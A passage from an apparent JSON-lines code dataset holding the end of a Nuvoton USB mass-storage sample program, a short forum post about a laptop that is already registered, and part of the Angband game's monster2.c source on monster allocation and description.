CLK_EnableModuleClock(SPI1_MODULE);\n\n    /* Select SPI1 module clock source as PCLK0 */\n    CLK_SetModuleClock(SPI1_MODULE, CLK_CLKSEL2_SPI1SEL_PCLK0, MODULE_NoMsk);\n\n    /*---------------------------------------------------------------------------------------------------------*/\n    /* Init I/O Multi-function                                                                                 */\n    /*---------------------------------------------------------------------------------------------------------*/\n    /* Set PB multi-function pins for UART0 RXD and TXD */\n    SYS->GPB_MFPH = (SYS->GPB_MFPH & (~(UART0_RXD_PB12_Msk | UART0_TXD_PB13_Msk))) | UART0_RXD_PB12 | UART0_TXD_PB13;\n\n    /* Set SPI1 multi-function pins */\n    SYS->GPC_MFPL &= ~(SYS_GPC_MFPL_PC1MFP_Msk | SYS_GPC_MFPL_PC2MFP_Msk | SYS_GPC_MFPL_PC3MFP_Msk);\n    SYS->GPC_MFPL |= SYS_GPC_MFPL_PC1MFP_SPI1_CLK | SYS_GPC_MFPL_PC2MFP_SPI1_MOSI | SYS_GPC_MFPL_PC3MFP_SPI1_MISO;\n    GPIO_SetMode(PC, BIT5, GPIO_MODE_OUTPUT);\n    GPIO_SetMode(PC, BIT4, GPIO_MODE_OUTPUT);\n}\n\n\n/*---------------------------------------------------------------------------------------------------------*/\n/*  Main Function                                                                                          */\n/*---------------------------------------------------------------------------------------------------------*/\nint32_t main(void)\n{\n#if CRYSTAL_LESS\n    uint32_t u32TrimInit;\n#endif\n\n    /* Unlock protected registers */\n    SYS_UnlockReg();\n\n    /* Init system and multi-function I/O */\n    SYS_Init();\n\n    /* Configure UART0: 115200, 8-bit word, no parity bit, 1 stop bit. */\n    UART_Open(UART0, 115200);\n\n    printf(\"+-------------------------------------------------------+\\n\");\n    printf(\"|          NuMicro USB MassStorage Sample Code          |\\n\");\n    printf(\"+-------------------------------------------------------+\\n\");\n\n    SDCARD_Open();\n\n    /* Open USB controller */\n    USBD_Open(&gsInfo, MSC_ClassRequest, NULL);\n\n    USBD_SetConfigCallback(MSC_SetConfig);\n\n    /* Endpoint configuration */\n    MSC_Init();\n\n    /* Start USB device */\n    USBD_Start();\n\n    /* Enable USB device interrupt */\n    NVIC_EnableIRQ(USBD_IRQn);\n\n#if CRYSTAL_LESS\n    /* Backup default trim */\n    u32TrimInit = M32(TRIM_INIT);\n#endif\n\n    /* Clear SOF */\n    USBD->INTSTS = USBD_INTSTS_SOFIF_Msk;\n\n    while(1)\n    {\n#if CRYSTAL_LESS\n        /* Start USB trim if it is not enabled. */\n        if((SYS->IRCTCTL & SYS_IRCTCTL_FREQSEL_Msk) != 1)\n        {\n            /* Start USB trim only when SOF */\n            if(USBD->INTSTS & USBD_INTSTS_SOFIF_Msk)\n            {\n                /* Clear SOF */\n                USBD->INTSTS = USBD_INTSTS_SOFIF_Msk;\n\n                /* Re-enable crystal-less */\n                SYS->IRCTCTL = HIRC_AUTO_TRIM | (8 << SYS_IRCTCTL_BOUNDARY_Pos);\n            }\n        }\n\n        /* Disable USB Trim when error */\n        if(SYS->IRCTISTS & (SYS_IRCTISTS_CLKERRIF_Msk | SYS_IRCTISTS_TFAILIF_Msk))\n        {\n            /* Init TRIM */\n            M32(TRIM_INIT) = u32TrimInit;\n\n            /* Disable crystal-less */\n            SYS->IRCTCTL = 0;\n\n            /* Clear error flags */\n            SYS->IRCTISTS = SYS_IRCTISTS_CLKERRIF_Msk | SYS_IRCTISTS_TFAILIF_Msk;\n\n            /* Clear SOF */\n            USBD->INTSTS = USBD_INTSTS_SOFIF_Msk;\n        }\n#endif\n\n        MSC_ProcessCmd();\n    }\n}", "source": "cpt_stack_code", "language": "code", "token_count": 1572, "token_count_with_eod": 1573, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I am not sure if people are still having problems basically it was stated to create a new forum. But I bought my laptop brand new. I got it from Best Buy... they said nothing about open box or anything. (If it was I want my discount) but anyways. I tried to register my laptop and it says it can not be registered because it is already registered. So I am not sure what to do at this point? Can I get help?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 93, "token_count_with_eod": 94, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* File: monster2.c */\r\n\r\n/*\r\n * Copyright (c) 1997 Ben Harrison, James E. Wilson, Robert A. Koeneke\r\n *\r\n * This software may be copied and distributed for educational, research,\r\n * and not for profit purposes provided that this copyright and statement\r\n * are included in all such copies.  Other copyrights may also apply.\r\n */\r\n\r\n#include \"angband.h\"\r\n\r\n\r\n\r\n/*\r\n * Delete a monster by index.\r\n *\r\n * When a monster is deleted, all of its objects are deleted.\r\n */\r\nvoid delete_monster_idx(int i)\r\n{\r\n\tint x, y;\r\n\r\n\tmonster_type *m_ptr = &m_list[i];\r\n\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\ts16b this_o_idx, next_o_idx = 0;\r\n\r\n\r\n\t/* Get location */\r\n\ty = m_ptr->fy;\r\n\tx = m_ptr->fx;\r\n\r\n\r\n\t/* Hack -- Reduce the racial counter */\r\n\tr_ptr->cur_num--;\r\n\r\n\t/* Hack -- count the number of \"reproducers\" */\r\n\tif (r_ptr->flags2 & (RF2_MULTIPLY)) num_repro--;\r\n\r\n\r\n\t/* Hack -- remove target monster */\r\n\tif (p_ptr->target_who == i) target_set_monster(0);\r\n\r\n\t/* Hack -- remove tracked monster */\r\n\tif (p_ptr->health_who == i) health_track(0);\r\n\r\n\r\n\t/* Monster is gone */\r\n\tcave_m_idx[y][x] = 0;\r\n\r\n\r\n\t/* Delete objects */\r\n\tfor (this_o_idx = m_ptr->hold_o_idx; this_o_idx; this_o_idx = next_o_idx)\r\n\t{\r\n\t\tobject_type *o_ptr;\r\n\r\n\t\t/* Get the object */\r\n\t\to_ptr = &o_list[this_o_idx];\r\n\r\n\t\t/* Get the next object */\r\n\t\tnext_o_idx = o_ptr->next_o_idx;\r\n\r\n\t\t/* Hack -- efficiency */\r\n\t\to_ptr->held_m_idx = 0;\r\n\r\n\t\t/* Delete the object */\r\n\t\tdelete_object_idx(this_o_idx);\r\n\t}\r\n\r\n\r\n\t/* Wipe the Monster */\r\n\t(void)WIPE(m_ptr, monster_type);\r\n\r\n\t/* Count monsters */\r\n\tm_cnt--;\r\n\r\n\r\n\t/* Visual update */\r\n\tlite_spot(y, x);\r\n}\r\n\r\n\r\n/*\r\n * Delete the monster, if any, at a given location\r\n */\r\nvoid delete_monster(int y, int x)\r\n{\r\n\t/* Paranoia */\r\n\tif (!in_bounds(y, x)) return;\r\n\r\n\t/* Delete the monster (if any) */\r\n\tif (cave_m_idx[y][x] > 0) delete_monster_idx(cave_m_idx[y][x]);\r\n}\r\n\r\n\r\n/*\r\n * Move an object from index i1 to index i2 in the object list\r\n */\r\nstatic void compact_monsters_aux(int i1, int i2)\r\n{\r\n\tint y, x;\r\n\r\n\tmonster_type *m_ptr;\r\n\r\n\ts16b this_o_idx, next_o_idx = 0;\r\n\r\n\r\n\t/* Do nothing */\r\n\tif (i1 == i2) return;\r\n\r\n\r\n\t/* Old monster */\r\n\tm_ptr = &m_list[i1];\r\n\r\n\t/* Location */\r\n\ty = m_ptr->fy;\r\n\tx = m_ptr->fx;\r\n\r\n\t/* Update the cave */\r\n\tcave_m_idx[y][x] = i2;\r\n\r\n\t/* Repair objects being carried by monster */\r\n\tfor (this_o_idx = m_ptr->hold_o_idx; this_o_idx; this_o_idx = next_o_idx)\r\n\t{\r\n\t\tobject_type *o_ptr;\r\n\r\n\t\t/* Get the object */\r\n\t\to_ptr = &o_list[this_o_idx];\r\n\r\n\t\t/* Get the next object */\r\n\t\tnext_o_idx = o_ptr->next_o_idx;\r\n\r\n\t\t/* Reset monster pointer */\r\n\t\to_ptr->held_m_idx = i2;\r\n\t}\r\n\r\n\t/* Hack -- Update the target */\r\n\tif (p_ptr->target_who == i1) p_ptr->target_who = i2;\r\n\r\n\t/* Hack -- Update the health bar */\r\n\tif (p_ptr->health_who == i1) p_ptr->health_who = i2;\r\n\r\n\t/* Hack -- move monster */\r\n\tCOPY(&m_list[i2], &m_list[i1], monster_type);\r\n\r\n\t/* Hack -- wipe hole */\r\n\t(void)WIPE(&m_list[i1], monster_type);\r\n}\r\n\r\n\r\n/*\r\n * Compact and Reorder the monster list\r\n *\r\n * This function can be very dangerous, use with caution!\r\n *\r\n * When actually \"compacting\" monsters, we base the saving throw\r\n * on a combination of monster level, distance from player, and\r\n * current \"desperation\".\r\n *\r\n * After \"compacting\" (if needed), we \"reorder\" the monsters into a more\r\n * compact order, and we reset the allocation info, and the \"live\" array.\r\n */\r\nvoid compact_monsters(int size)\r\n{\r\n\tint i, num, cnt;\r\n\r\n\tint cur_lev, cur_dis, chance;\r\n\r\n\r\n\t/* Message (only if compacting) */\r\n\tif (size) msg_print(\"Compacting monsters...\");\r\n\r\n\r\n\t/* Compact at least 'size' objects */\r\n\tfor (num = 0, cnt = 1; num < size; cnt++)\r\n\t{\r\n\t\t/* Get more vicious each iteration */\r\n\t\tcur_lev = 5 * cnt;\r\n\r\n\t\t/* Get closer each iteration */\r\n\t\tcur_dis = 5 * (20 - cnt);\r\n\r\n\t\t/* Check all the monsters */\r\n\t\tfor (i = 1; i < m_max; i++)\r\n\t\t{\r\n\t\t\tmonster_type *m_ptr = &m_list[i];\r\n\r\n\t\t\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\t\t\t/* Paranoia -- skip \"dead\" monsters */\r\n\t\t\tif (!m_ptr->r_idx) continue;\r\n\r\n\t\t\t/* Hack -- High level monsters start out \"immune\" */\r\n\t\t\tif (r_ptr->level > cur_lev) continue;\r\n\r\n\t\t\t/* Ignore nearby monsters */\r\n\t\t\tif ((cur_dis > 0) && (m_ptr->cdis < cur_dis)) continue;\r\n\r\n\t\t\t/* Saving throw chance */\r\n\t\t\tchance = 90;\r\n\r\n\t\t\t/* Only compact \"Quest\" Monsters in emergencies */\r\n\t\t\tif ((r_ptr->flags1 & (RF1_QUESTOR)) && (cnt < 1000)) chance = 100;\r\n\r\n\t\t\t/* Try not to compact Unique Monsters */\r\n\t\t\tif (r_ptr->flags1 & (RF1_UNIQUE)) chance = 99;\r\n\r\n\t\t\t/* All monsters get a saving throw */\r\n\t\t\tif (rand_int(100) < chance) continue;\r\n\r\n\t\t\t/* Delete the monster */\r\n\t\t\tdelete_monster_idx(i);\r\n\r\n\t\t\t/* Count the monster */\r\n\t\t\tnum++;\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/* Excise dead monsters (backwards!) */\r\n\tfor (i = m_max - 1; i >= 1; i--)\r\n\t{\r\n\t\t/* Get the i'th monster */\r\n\t\tmonster_type *m_ptr = &m_list[i];\r\n\r\n\t\t/* Skip real monsters */\r\n\t\tif (m_ptr->r_idx) continue;\r\n\r\n\t\t/* Move last monster into open hole */\r\n\t\tcompact_monsters_aux(m_max - 1, i);\r\n\r\n\t\t/* Compress \"m_max\" */\r\n\t\tm_max--;\r\n\t}\r\n}\r\n\r\n\r\n/*\r\n * Delete/Remove all the monsters when the player leaves the level\r\n *\r\n * This is an efficient method of simulating multiple calls to the\r\n * \"delete_monster()\" function, with no visual effects.\r\n */\r\nvoid wipe_m_list(void)\r\n{\r\n\tint i;\r\n\r\n\t/* Delete all the monsters */\r\n\tfor (i = m_max - 1; i >= 1; i--)\r\n\t{\r\n\t\tmonster_type *m_ptr = &m_list[i];\r\n\r\n\t\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\t\t/* Skip dead monsters */\r\n\t\tif (!m_ptr->r_idx) continue;\r\n\r\n\t\t/* Mega-Hack -- preserve Unique's XXX XXX XXX */\r\n\r\n\t\t/* Hack -- Reduce the racial counter */\r\n\t\tr_ptr->cur_num--;\r\n\r\n\t\t/* Monster is gone */\r\n\t\tcave_m_idx[m_ptr->fy][m_ptr->fx] = 0;\r\n\r\n\t\t/* Wipe the Monster */\r\n\t\t(void)WIPE(m_ptr, monster_type);\r\n\t}\r\n\r\n\t/* Reset \"m_max\" */\r\n\tm_max = 1;\r\n\r\n\t/* Reset \"m_cnt\" */\r\n\tm_cnt = 0;\r\n\r\n\t/* Hack -- reset \"reproducer\" count */\r\n\tnum_repro = 0;\r\n\r\n\t/* Hack -- no more target */\r\n\ttarget_set_monster(0);\r\n\r\n\t/* Hack -- no more tracking */\r\n\thealth_track(0);\r\n}\r\n\r\n\r\n/*\r\n * Get and return the index of a \"free\" monster.\r\n *\r\n * This routine should almost never fail, but it *can* happen.\r\n */\r\ns16b m_pop(void)\r\n{\r\n\tint i;\r\n\r\n\r\n\t/* Normal allocation */\r\n\tif (m_max < z_info->m_max)\r\n\t{\r\n\t\t/* Get the next hole */\r\n\t\ti = m_max;\r\n\r\n\t\t/* Expand the array */\r\n\t\tm_max++;\r\n\r\n\t\t/* Count monsters */\r\n\t\tm_cnt++;\r\n\r\n\t\t/* Return the index */\r\n\t\treturn (i);\r\n\t}\r\n\r\n\r\n\t/* Recycle dead monsters */\r\n\tfor (i = 1; i < m_max; i++)\r\n\t{\r\n\t\tmonster_type *m_ptr;\r\n\r\n\t\t/* Get the monster */\r\n\t\tm_ptr = &m_list[i];\r\n\r\n\t\t/* Skip live monsters */\r\n\t\tif (m_ptr->r_idx) continue;\r\n\r\n\t\t/* Count monsters */\r\n\t\tm_cnt++;\r\n\r\n\t\t/* Use this monster */\r\n\t\treturn (i);\r\n\t}\r\n\r\n\r\n\t/* Warn the player (except during dungeon creation) */\r\n\tif (character_dungeon) msg_print(\"Too many monsters!\");\r\n\r\n\t/* Try not to crash */\r\n\treturn (0);\r\n}\r\n\r\n\r\n/*\r\n * Apply a \"monster restriction function\" to the \"monster allocation table\"\r\n */\r\nerrr get_mon_num_prep(void)\r\n{\r\n\tint i;\r\n\r\n\t/* Scan the allocation table */\r\n\tfor (i = 0; i < alloc_race_size; i++)\r\n\t{\r\n\t\t/* Get the entry */\r\n\t\talloc_entry *entry = &alloc_race_table[i];\r\n\r\n\t\t/* Accept monsters which pass the restriction, if any */\r\n\t\tif (!get_mon_num_hook || (*get_mon_num_hook)(entry->index))\r\n\t\t{\r\n\t\t\t/* Accept this monster */\r\n\t\t\tentry->prob2 = entry->prob1;\r\n\t\t}\r\n\r\n\t\t/* Do not use this monster */\r\n\t\telse\r\n\t\t{\r\n\t\t\t/* Decline this monster */\r\n\t\t\tentry->prob2 = 0;\r\n\t\t}\r\n\t}\r\n\r\n\t/* Success */\r\n\treturn (0);\r\n}\r\n\r\n\r\n\r\n/*\r\n * Choose a monster race that seems \"appropriate\" to the given level\r\n *\r\n * This function uses the \"prob2\" field of the \"monster allocation table\",\r\n * and various local information, to calculate the \"prob3\" field of the\r\n * same table, which is then used to choose an \"appropriate\" monster, in\r\n * a relatively efficient manner.\r\n *\r\n * Note that \"town\" monsters will *only* be created in the town, and\r\n * \"normal\" monsters will *never* be created in the town, unless the\r\n * \"level\" is \"modified\", for example, by polymorph or summoning.\r\n *\r\n * There is a small chance (1/50) of \"boosting\" the given depth by\r\n * a small amount (up to four levels), except in the town.\r\n *\r\n * It is (slightly) more likely to acquire a monster of the given level\r\n * than one of a lower level.  This is done by choosing several monsters\r\n * appropriate to the given level and keeping the \"hardest\" one.\r\n *\r\n * Note that if no monsters are \"appropriate\", then this function will\r\n * fail, and return zero, but this should *almost* never happen.\r\n */\r\ns16b get_mon_num(int level)\r\n{\r\n\tint i, j, p;\r\n\r\n\tint r_idx;\r\n\r\n\tlong value, total;\r\n\r\n\tmonster_race *r_ptr;\r\n\r\n\talloc_entry *table = alloc_race_table;\r\n\r\n\r\n\t/* Boost the level */\r\n\tif (level > 0)\r\n\t{\r\n\t\t/* Occasional \"nasty\" monster */\r\n\t\tif (rand_int(NASTY_MON) == 0)\r\n\t\t{\r\n\t\t\t/* Pick a level bonus */\r\n\t\t\tint d = level / 4 + 2;\r\n\r\n\t\t\t/* Boost the level */\r\n\t\t\tlevel += ((d < 5) ? d : 5);\r\n\t\t}\r\n\r\n\t\t/* Occasional \"nasty\" monster */\r\n\t\tif (rand_int(NASTY_MON) == 0)\r\n\t\t{\r\n\t\t\t/* Pick a level bonus */\r\n\t\t\tint d = level / 4 + 2;\r\n\r\n\t\t\t/* Boost the level */\r\n\t\t\tlevel += ((d < 5) ? d : 5);\r\n\t\t}\r\n\t}\r\n\r\n\r\n\t/* Reset total */\r\n\ttotal = 0L;\r\n\r\n\t/* Process probabilities */\r\n\tfor (i = 0; i < alloc_race_size; i++)\r\n\t{\r\n\t\t/* Monsters are sorted by depth */\r\n\t\tif (table[i].level > level) break;\r\n\r\n\t\t/* Default */\r\n\t\ttable[i].prob3 = 0;\r\n\r\n\t\t/* Hack -- No town monsters in dungeon */\r\n\t\tif ((level > 0) && (table[i].level <= 0)) continue;\r\n\r\n\t\t/* Get the \"r_idx\" of the chosen monster */\r\n\t\tr_idx = table[i].index;\r\n\r\n\t\t/* Get the actual race */\r\n\t\tr_ptr = &r_info[r_idx];\r\n\r\n\t\t/* Hack -- \"unique\" monsters must be \"unique\" */\r\n\t\tif ((r_ptr->flags1 & (RF1_UNIQUE)) &&\r\n\t\t    (r_ptr->cur_num >= r_ptr->max_num))\r\n\t\t{\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\t/* Depth Monsters never appear out of depth */\r\n\t\tif ((r_ptr->flags1 & (RF1_FORCE_DEPTH)) && (r_ptr->level > p_ptr->depth))\r\n\t\t{\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\t/* Accept */\r\n\t\ttable[i].prob3 = table[i].prob2;\r\n\r\n\t\t/* Total */\r\n\t\ttotal += table[i].prob3;\r\n\t}\r\n\r\n\t/* No legal monsters */\r\n\tif (total <= 0) return (0);\r\n\r\n\r\n\t/* Pick a monster */\r\n\tvalue = rand_int(total);\r\n\r\n\t/* Find the monster */\r\n\tfor (i = 0; i < alloc_race_size; i++)\r\n\t{\r\n\t\t/* Found the entry */\r\n\t\tif (value < table[i].prob3) break;\r\n\r\n\t\t/* Decrement */\r\n\t\tvalue = value - table[i].prob3;\r\n\t}\r\n\r\n\r\n\t/* Power boost */\r\n\tp = rand_int(100);\r\n\r\n\t/* Try for a \"harder\" monster once (50%) or twice (10%) */\r\n\tif (p < 60)\r\n\t{\r\n\t\t/* Save old */\r\n\t\tj = i;\r\n\r\n\t\t/* Pick a monster */\r\n\t\tvalue = rand_int(total);\r\n\r\n\t\t/* Find the monster */\r\n\t\tfor (i = 0; i < alloc_race_size; i++)\r\n\t\t{\r\n\t\t\t/* Found the entry */\r\n\t\t\tif (value < table[i].prob3) break;\r\n\r\n\t\t\t/* Decrement */\r\n\t\t\tvalue = value - table[i].prob3;\r\n\t\t}\r\n\r\n\t\t/* Keep the \"best\" one */\r\n\t\tif (table[i].level < table[j].level) i = j;\r\n\t}\r\n\r\n\t/* Try for a \"harder\" monster twice (10%) */\r\n\tif (p < 10)\r\n\t{\r\n\t\t/* Save old */\r\n\t\tj = i;\r\n\r\n\t\t/* Pick a monster */\r\n\t\tvalue = rand_int(total);\r\n\r\n\t\t/* Find the monster */\r\n\t\tfor (i = 0; i < alloc_race_size; i++)\r\n\t\t{\r\n\t\t\t/* Found the entry */\r\n\t\t\tif (value < table[i].prob3) break;\r\n\r\n\t\t\t/* Decrement */\r\n\t\t\tvalue = value - table[i].prob3;\r\n\t\t}\r\n\r\n\t\t/* Keep the \"best\" one */\r\n\t\tif (table[i].level < table[j].level) i = j;\r\n\t}\r\n\r\n\r\n\t/* Result */\r\n\treturn (table[i].index);\r\n}\r\n\r\n\r\n\r\n\r\n\r\n/*\r\n * Build a string describing a monster in some way.\r\n *\r\n * We can correctly describe monsters based on their visibility.\r\n * We can force all monsters to be treated as visible or invisible.\r\n * We can build nominatives, objectives, possessives, or reflexives.\r\n * We can selectively pronominalize hidden, visible, or all monsters.\r\n * We can use definite or indefinite descriptions for hidden monsters.\r\n * We can use definite or indefinite descriptions for visible monsters.\r\n *\r\n * Pronominalization involves the gender whenever possible and allowed,\r\n * so that by cleverly requesting pronominalization / visibility, you\r\n * can get messages like \"You hit someone.  She screams in agony!\".\r\n *\r\n * Reflexives are acquired by requesting Objective plus Possessive.\r\n *\r\n * I am assuming that no monster name is more than 65 characters long,\r\n * so that \"char desc[80];\" is sufficiently large for any result, even\r\n * when the \"offscreen\" notation is added.\r\n *\r\n * Note that the \"possessive\" for certain unique monsters will look\r\n * really silly, as in \"Morgoth, King of Darkness's\".  We should\r\n * perhaps add a flag to \"remove\" any \"descriptives\" in the name.\r\n *\r\n * Note that \"offscreen\" monsters will get a special \"(offscreen)\"\r\n * notation in their name if they are visible but offscreen.  This\r\n * may look silly with possessives, as in \"the rat's (offscreen)\".\r\n * Perhaps the \"offscreen\" descriptor should be abbreviated.\r\n *\r\n * Mode Flags:\r\n *   0x01 --> Objective (or Reflexive)\r\n *   0x02 --> Possessive (or Reflexive)\r\n *   0x04 --> Use indefinites for hidden monsters (\"something\")\r\n *   0x08 --> Use indefinites for visible monsters (\"a kobold\")\r\n *   0x10 --> Pronominalize hidden monsters\r\n *   0x20 --> Pronominalize visible monsters\r\n *   0x40 --> Assume the monster is hidden\r\n *   0x80 --> Assume the monster is visible\r\n *\r\n * Useful Modes:\r\n *   0x00 --> Full nominative name (\"the kobold\") or \"it\"\r\n *   0x04 --> Full nominative name (\"the kobold\") or \"something\"\r\n *   0x80 --> Genocide resistance name (\"the kobold\")\r\n *   0x88 --> Killing name (\"a kobold\")\r\n *   0x22 --> Possessive, genderized if visable (\"his\") or \"its\"\r\n *   0x23 --> Reflexive, genderized if visable (\"himself\") or \"itself\"\r\n */\r\nvoid monster_desc(char *desc, const monster_type *m_ptr, int mode)\r\n{\r\n\tcptr res;\r\n\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\r\n\tcptr name = (r_name + r_ptr->name);\r\n\r\n\tbool seen, pron;\r\n\r\n\r\n\t/* Can we \"see\" it (forced, or not hidden + visible) */\r\n\tseen = ((mode & (0x80)) || (!(mode & (0x40)) && m_ptr->ml));\r\n\r\n\t/* Sexed Pronouns (seen and forced, or unseen and allowed) */\r\n\tpron = ((seen && (mode & (0x20))) || (!seen && (mode & (0x10))));\r\n\r\n\r\n\t/* First, try using pronouns, or describing hidden monsters */\r\n\tif (!seen || pron)\r\n\t{\r\n\t\t/* an encoding of the monster \"sex\" */\r\n\t\tint kind = 0x00;\r\n\r\n\t\t/* Extract the gender (if applicable) */\r\n\t\tif (r_ptr->flags1 & (RF1_FEMALE)) kind = 0x20;\r\n\t\telse if (r_ptr->flags1 & (RF1_MALE)) kind = 0x10;\r\n\r\n\t\t/* Ignore the gender (if desired) */\r\n\t\tif (!m_ptr || !pron) kind = 0x00;\r\n\r\n\r\n\t\t/* Assume simple result */\r\n\t\tres = \"it\";\r\n\r\n\t\t/* Brute force: split on the possibilities */\r\n\t\tswitch (kind + (mode & 0x07))\r\n\t\t{\r\n\t\t\t/* Neuter, or unknown */\r\n\t\t\tcase 0x00: res = \"it\"; break;\r\n\t\t\tcase 0x01: res = \"it\"; break;\r\n\t\t\tcase 0x02: res = \"its\"; break;\r\n\t\t\tcase 0x03: res = \"itself\"; break;\r\n\t\t\tcase 0x04: res = \"something\"; break;\r\n\t\t\tcase 0x05: res = \"something\"; break;\r\n\t\t\tcase 0x06: res = \"something's\"; break;\r\n\t\t\tcase 0x07: res = \"itself\"; break;\r\n\r\n\t\t\t/* Male (assume human if vague) */\r\n\t\t\tcase 0x10: res = \"he\"; break;\r\n\t\t\tcase 0x11: res = \"him\"; break;\r\n\t\t\tcase 0x12: res = \"his\"; break;\r\n\t\t\tcase 0x13: res = \"himself\"; break;\r\n\t\t\tcase 0x14: res = \"someone\"; break;\r\n\t\t\tcase 0x15: res = \"someone\"; break;\r\n\t\t\tcase 0x16: res = \"someone's\"; break;\r\n\t\t\tcase 0x17: res = \"himself\"; break;\r\n\r\n\t\t\t/* Female (assume human if vague) */\r\n\t\t\tcase 0x20: res = \"she\"; break;\r\n\t\t\tcase 0x21: res = \"her\"; break;\r\n\t\t\tcase 0x22: res = \"her\"; break;\r\n\t\t\tcase 0x23: res = \"herself\"; break;\r\n\t\t\tcase 0x24: res = \"someone\"; break;\r\n\t\t\tcase 0x25: res = \"someone\"; break;\r\n\t\t\tcase 0x26: res = \"someone's\"; break;\r\n\t\t\tcase 0x27: res = \"herself\"; break;\r\n\t\t}\r\n\r\n\t\t/* Copy the result */\r\n\t\tstrcpy(desc, res);\r\n\t}\r\n\r\n\r\n\t/* Handle visible monsters, \"reflexive\" request */\r\n\telse if ((mode & 0x02) && (mode & 0x01))\r\n\t{\r\n\t\t/* The monster is visible, so use its gender */\r\n\t\tif (r_ptr->flags1 & (RF1_FEMALE)) strcpy(desc, \"herself\");\r\n\t\telse if (r_ptr->flags1 & (RF1_MALE)) strcpy(desc, \"himself\");\r\n\t\telse strcpy(desc, \"itself\");\r\n\t}\r\n\r\n\r\n\t/* Handle all other visible monster requests */\r\n\telse\r\n\t{\r\n\t\t/* It could be a Unique */\r\n\t\tif (r_ptr->flags1 & (RF1_UNIQUE))\r\n\t\t{\r\n\t\t\t/* Start with the name (thus nominative and objective) */\r\n\t\t\tstrcpy(desc, name);\r\n\t\t}\r\n\r\n\t\t/* It could be an indefinite monster */\r\n\t\telse if (mode & 0x08)\r\n\t\t{\r\n\t\t\t/* XXX Check plurality for \"some\" */\r\n\r\n\t\t\t/* Indefinite monsters need an indefinite article */\r\n\t\t\tstrcpy(desc, is_a_vowel(name[0]) ? \"an \" : \"a \");\r\n\t\t\tstrcat(desc, name);\r\n\t\t}\r\n\r\n\t\t/* It could be a normal, definite, monster */\r\n\t\telse\r\n\t\t{\r\n\t\t\t/* Definite monsters need a definite article */\r\n\t\t\tstrcpy(desc, \"the \");\r\n\t\t\tstrcat(desc, name);\r\n\t\t}\r\n\r\n\t\t/* Handle the Possessive as a special afterthought */\r\n\t\tif (mode & 0x02)\r\n\t\t{\r\n\t\t\t/* XXX Check for trailing \"s\" */\r\n\r\n\t\t\t/* Simply append \"apostrophe\" and \"s\" */\r\n\t\t\tstrcat(desc, \"'s\");\r\n\t\t}\r\n\r\n\t\t/* Mention \"offscreen\" monsters XXX XXX */\r\n\t\tif (!panel_contains(m_ptr->fy, m_ptr->fx))\r\n\t\t{\r\n\t\t\t/* Append special notation */\r\n\t\t\tstrcat(desc, \" (offscreen)\");\r\n\t\t}\r\n\t}\r\n}\r\n\r\n\r\n\r\n\r\n/*\r\n * Learn about a monster (by \"probing\" it)\r\n */\r\nvoid lore_do_probe(int m_idx)\r\n{\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\tmonster_lore *l_ptr = &l_list[m_ptr->r_idx];\r\n\r\n\r\n\t/* Hack -- Memorize some flags */\r\n\tl_ptr->r_flags1 = r_ptr->flags1;\r\n\tl_ptr->r_flags2 = r_ptr->flags2;\r\n\tl_ptr->r_flags3 = r_ptr->flags3;\r\n\r\n\t/* Update monster recall window */\r\n\tif (p_ptr->monster_race_idx == m_ptr->r_idx)\r\n\t{\r\n\t\t/* Window stuff */\r\n\t\tp_ptr->window |= (PW_MONSTER);\r\n\t}\r\n}\r\n\r\n\r\n/*\r\n * Take note that the given monster just dropped some treasure\r\n *\r\n * Note that learning the \"GOOD\"/\"GREAT\" flags gives information\r\n * about the treasure (even when the monster is killed for the first\r\n * time, such as uniques, and the treasure has not been examined yet).\r\n *\r\n * This \"indirect\" method is used to prevent the player from learning\r\n * exactly how much treasure a monster can drop from observing only\r\n * a single example of a drop.  This method actually observes how much\r\n * gold and items are dropped, and remembers that information to be\r\n * described later by the monster recall code.\r\n */\r\nvoid lore_treasure(int m_idx, int num_item, int num_gold)\r\n{\r\n\tmonster_type *m_ptr = &m_list[m_idx];\r\n\tmonster_race *r_ptr = &r_info[m_ptr->r_idx];\r\n\tmonster_lore *l_ptr = &l_list[m_ptr->r_idx];\r\n\r\n\r\n\t/* Note the number of things dropped */\r\n\tif (num_item > l_ptr->r_drop_item) l_ptr->r_drop_item = num_item;\r\n\tif (num_gold > l_ptr->r_drop_gold) l_ptr->r_drop_gold = num_gold;\r\n\r\n\t/* Hack -- memorize the good/great flags */\r\n\tif (r_ptr->flags1 & (RF1_DROP_GOOD)) l_ptr->r_flags1 |= (RF1_DROP_GOOD);\r\n\tif (r_ptr->flags1 & (RF1_DROP_GREAT)) l_ptr->r_flags1 |= (RF1_DROP_GREAT);\r\n\r\n\t/* Update monster recall window */\r\n\tif (p_ptr->monster_race_idx == m_ptr->r_idx)\r\n\t{\r\n\t\t/* Window stuff */\r\n\t\tp_ptr->window |= (PW_MONSTER);\r\n\t}\r\n}\r\n\r\n\r\n\r\n/*\r\n * This function updates the monster record of the given monster\r\n *\r\n * This involves extracting the distance to the player (if requested),\r\n * and then checking for visibility (natural, infravision, see-invis,\r\n * telepathy), updating the monster visibility flag, redrawing (or\r\n * erasing) the monster when its visibility changes, and taking note\r\n * of any interesting monster flags (cold-blooded, invisible, etc).\r\n *\r\n * Note the new \"mflag\" field which encodes several monster state flags,\r\n * including \"view\" for when the monster is currently in line of sight,\r\n * and \"mark\" for when the monster is currently visible via detection.\r\n *\r\n * The only monster fields that are changed here are \"cdis\" (the\r\n * distance from the player), \"ml\" (visible to the player), and\r\n * \"mflag\" (to maintain the \"MFLAG_VIEW\" flag).\r\n *\r\n * Note the special \"update_monsters()\" function which can be used to\r\n * call this function once for every monster.\r\n *\r\n * Note the \"full\" flag which requests that the \"cdis\" field be updated,\r\n * this is only needed when the monster (or the player) has moved.\r\n *\r\n * Every time a monster moves, we must call this function for that\r\n * monster, and update the distance, and the visibility.  Every time\r\n * the player moves, we must call this function for every monster, and\r\n * update the distance, 